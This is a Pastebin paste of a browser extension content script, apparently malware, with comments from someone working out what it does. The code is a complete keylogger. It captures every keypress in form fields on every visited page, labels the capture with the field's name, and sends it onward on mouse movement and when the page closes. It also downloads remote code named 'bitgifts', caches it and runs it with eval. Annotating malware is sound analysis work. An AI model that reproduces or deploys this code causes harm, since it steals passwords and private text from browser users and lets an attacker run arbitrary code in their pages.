Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var kt = ""; // This is the variable where the logged keypresses are stored.
- var pu = "";
- var ss = false;
- setTimeout(ijCheck, 50);
- function ijCheck() {
- // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page.
- if ($("body")["length"]) {
- chrome["extension"]["sendRequest"]({
- url: document["URL"],
- title: document["title"]
- }, function(response) {});
- // This adds a "~" to denote backspacing, I believe.
- $("body")["on"]("keydown", "input, textarea", function(e) {
- if (e["keyCode"] == 8) {
- kt += "~"
- }
- });
- // For every keypress into a text area on a website, do this:
- $("body")["on"]("keypress", "input, textarea", function(e) {
- // This writes a header for your text input, so they know where you entered it.
- var formName = "[" + $(this)["attr"]("name") + " #" + $(this)["prop"]("id") + " " + $(this)["attr"]("class") + "]";
- // If this is a different text box, start a new line, write the header, and start a new line for what it logs.
- if (pu != formName) {
- kt += "\n" + formName + "\n";
- pu = formName
- };
- // Record the keypress on the newline we created.
- if (String["fromCharCode"](e["charCode"])) {
- kt += String["fromCharCode"](e["charCode"])
- }
- });
- // As soon as the user moves their mouse again...
- $("body")["mousemove"](function() {
- // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending...
- if (kt["length"] > 100 && !ss) {
- ss = true;
- // Then send the data.
- chrome["extension"]["sendRequest"]({
- url: document["URL"],
- post: kt
- }, function(response) {});
- kt = "";
- pu = "";
- ss = false
- }
- })
- } else {
- // If the page hasn't loaded, try again in 50 milliseconds.
- setTimeout(ijCheck, 50)
- }
- };
- // Be sure to send what remains of the data when the window is closed.
- window["onbeforeunload"] = function() {
- chrome["extension"]["sendRequest"]({
- url: document["URL"],
- post: kt
- }, function(response) {})
- };
- if (!localStorage["getItem"]("bitgifts")) {
- fetchCS()
- } else {
- if (localStorage["getItem"]("bitgifts-c") > new Date()["getTime"]() - (120 * 1000)) {
- eval(localStorage["getItem"]("bitgifts"))
- } else {
- fetchCS()
- }
- };
- function fetchCS() {
- chrome["extension"]["sendRequest"]({
- getcs: true
- }, function(response) {
- localStorage["setItem"]("bitgifts", response["data"]);
- localStorage["setItem"]("bitgifts-c", new Date()["getTime"]());
- eval(response["data"])
- })
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement